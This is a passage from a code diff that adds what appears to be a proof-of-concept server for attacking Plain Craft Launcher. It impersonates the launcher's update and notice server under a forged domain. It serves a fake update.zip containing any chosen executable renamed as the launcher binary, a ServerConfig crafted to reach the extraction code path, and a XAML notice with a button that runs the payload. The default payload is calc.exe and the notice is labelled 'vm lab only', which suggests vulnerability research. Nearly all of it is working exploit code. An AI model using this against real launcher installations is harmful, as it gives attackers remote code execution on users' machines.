+            "title": "VM LAB NOTICE",
+            "description": "vm lab only",
+            "requirements": {},
+            "importantLevel": 999,
+            "actions": actions,
+        }
+    ]
+
+
+def build_server_config() -> dict:
+    return {
+        "Version": CONFIG_VERSION,
+        "Update": {
+            "Release": {
+                # PatchUrls is deliberately omitted: UpdateStart then falls
+                # back to DownloadUrls, and the ".zip" suffix selects the
+                # ExtractToDirectory code path instead of MsDelta.Apply.
+                "DownloadUrls": [f"https://{DOMAIN}/update.zip"],
+            }
+        },
+    }
+
+
+CUSTOM_XAML = """<StackPanel Margin="25,40,23,15">
+  <TextBlock Text="PCL PoC - click Continue" FontSize="16" Margin="0,0,0,10"/>
+  <local:MyButton Text="Continue" EventType="4" EventData="{payload}" Margin="0,6,0,0"/>
+</StackPanel>
+"""
+
+
+def ensure_update_zip(payload_exe: str) -> Path:
+    """Create www/update.zip containing the payload renamed to the PCL filename."""
+    out = WWW / "update.zip"
+    if out.exists() and out.stat().st_size > 0:
+        return out
+    candidates = [payload_exe] if payload_exe else []
+    candidates += [
+        os.path.join(os.environ.get("SystemRoot", r"C:\Windows"), "System32", "calc.exe"),
+        os.path.join(os.environ.get("SystemRoot", r"C:\Windows"), "Sysnative", "calc.exe"),
+    ]
+    src = next((c for c in candidates if c and os.path.isfile(c)), None)
+    if not src:
+        raise SystemExit(
+            f"payload not found ({payload_exe}); pass --payload-exe or place a prebuilt www/update.zip"
+        )
+    WWW.mkdir(parents=True, exist_ok=True)
+    data = Path(src).read_bytes()
+    zi = zipfile.ZipInfo("Plain Craft Launcher 2.exe", date_time=(2020, 1, 1, 0, 0, 0))
+    zi.compress_type = zipfile.ZIP_DEFLATED
+    with zipfile.ZipFile(out, "w", zipfile.ZIP_DEFLATED) as zf:
+        zf.writestr(zi, data)
+    log(f"[+] update.zip built from {src} ({out.stat().st_size} bytes)")
+    return out
+
+
+class Handler(BaseHTTPRequestHandler):
+    server_version = "PCLPoCLab/1.0"
+    protocol_version = "HTTP/1.1"
+
+    def log_message(self, fmt, *args):  # noqa: A003
+        log(f"[http] {self.address_string()} {fmt % args}")
+
+    def _send(self, body: bytes, ctype: str = "application/json; charset=utf-8",
+              code: int = 200) -> None:
+        self.send_response(code)
+        self.send_header("Content-Type", ctype)
+        self.send_header("Content-Length", str(len(body)))
+        self.send_header("Cache-Control", "no-store")
+        self.end_headers()
+        self.wfile.write(body)
+
+    def do_GET(self):  # noqa: N802
+        path = self.path.split("?", 1)[0]
+        mode = self.server.mode  # type: ignore[attr-defined]
+        log(f"[req ] {path}")
+
+        if path == "/notice.cfg":
+            # id|?|?|?|ServerConfigVersion
+            body = f"{NOTICE_ID}|0|0|0|{CONFIG_VERSION}".encode()
+            return self._send(body, "text/plain; charset=utf-8")
+
+        if path == "/notice.json":
+            body = json.dumps(build_notice(mode, self.server.payload_exe), ensure_ascii=False, indent=2).encode("utf-8")
+            return self._send(body, "application/json; charset=utf-8")
+
+        if path == "/ServerConfig.json":
+            body = json.dumps(build_server_config(), ensure_ascii=False, indent=2).encode("utf-8")
+            return self._send(body, "application/json; charset=utf-8")
+
+        if path == "/update.zip":
+            f = WWW / "update.zip"
+            if f.exists():
+                return self._send(f.read_bytes(), "application/zip")
+            return self._send(b"no update.zip", "text/plain", 404)
+
+        if path in ("/Custom.xaml", "/Custom.xaml.ini"):
+            if path.endswith(".ini"):
+                return self._send(b"1", "text/plain; charset=utf-8")
+            xaml = CUSTOM_XAML.replace("{payload}", self.server.payload_exe)
+            return self._send(xaml.encode("utf-8"), "application/xml; charset=utf-8")
+
+        # Anything else is served from www/ if present (for manual poking).
+        candidate = (WWW / path.lstrip("/")).resolve()
+        if candidate.is_file() and WWW in candidate.parents:
+            return self._send(candidate.read_bytes(), "application/octet-stream")
+
+        return self._send(b"not found", "text/plain", 404)
+
+
+def main() -> int:
+    ap = argparse.ArgumentParser()
+    ap.add_argument("--mode", default="both", choices=["launch", "update", "xaml", "both"])
+    ap.add_argument("--port", type=int, default=443)
+    ap.add_argument("--bind", default="0.0.0.0")
+    ap.add_argument("--payload-exe", default=DEFAULT_PAYLOAD,
+                    help="Windows payload exe (writes marker + starts calc.exe)")
+    ap.add_argument("--cert", default=str(CERTS / "server.crt"))
+    ap.add_argument("--key", default=str(CERTS / "server.key"))
+    ap.add_argument("--no-tls", action="store_true")
+    args = ap.parse_args()
+
+    WWW.mkdir(parents=True, exist_ok=True)
+    if args.mode in ("update", "both"):
+        ensure_update_zip(args.payload_exe)
+
+    httpd = ThreadingHTTPServer((args.bind, args.port), Handler)
+    httpd.mode = args.mode  # type: ignore[attr-defined]
+    httpd.payload_exe = args.payload_exe  # type: ignore[attr-defined]
+
+    if not args.no_tls:
+        ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
+        ctx.minimum_version = ssl.TLSVersion.TLSv1_2
+        ctx.load_cert_chain(args.cert, args.key)
+        httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
+
+    scheme = "http" if args.no_tls else "https"
+    log(f"[+] {scheme}://{args.bind}:{args.port} mode={args.mode}")
+    log(f"[+] forged host: {DOMAIN}")
+    try:
+        httpd.serve_forever()
+    except KeyboardInterrupt:
+        pass
+    return 0
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())

+ 0 - 0
www/.gitkeep